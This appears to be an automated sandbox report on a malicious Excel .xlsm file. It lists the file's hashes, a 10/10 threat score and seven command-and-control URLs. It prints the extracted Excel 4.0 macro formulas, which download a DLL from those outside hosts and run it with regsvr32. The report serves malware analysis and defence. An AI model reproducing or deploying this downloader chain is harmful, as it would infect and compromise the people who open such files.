General

  • Target

    b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511

  • Size

    32KB

  • MD5

    d30f2b217f3ae3e8ac19c81129e7de3b

  • SHA1

    a7b076a6b84be14691e3071a219c7cbfce94adb0

  • SHA256

    b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511

  • SHA512

    8aaa87457c7c8b1c0087eb5abccd981238c386a34f76791b4e2908fa13b825a801c4ba6b87000a38912c50ef8d3b74ef0d341a673006f37b0764a3e39ecee4fb

  • SSDEEP

    384:wjzZPFhNjqEBOA7iEibbwBLg0SCdiVXUKgUrNU/qWhZOdBNPJM+kqr9eCgh0k5lY:wjpFhNNlizXT28dFfPdkqstJmE6/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://casache.com/web/n3jxwXXwa/

https://www.blessingsource.com/blessingsource.com/rFQ0Ip6lQXXK/

http://ccalaire.com/wp-admin/d1pGRa0X/

http://cdimprintpr.com/brochure2/A9NmYDndZ/

http://careerplan.host20.uk/images/Ls/

http://ausnz.net/2010wc/odSi5tQKkCIXEWl9/

https://azsiacenter.com/js/sOhmiosLJOgwaP6i5nln/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://casache.com/web/n3jxwXXwa/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.blessingsource.com/blessingsource.com/rFQ0Ip6lQXXK/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ccalaire.com/wp-admin/d1pGRa0X/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cdimprintpr.com/brochure2/A9NmYDndZ/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://careerplan.host20.uk/images/Ls/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ausnz.net/2010wc/odSi5tQKkCIXEWl9/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://azsiacenter.com/js/sOhmiosLJOgwaP6i5nln/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • b548389c0a77f5e77b0fe07725d79732e9c76162349b1f4dc506bdf29f96e511
    .xlsm office2007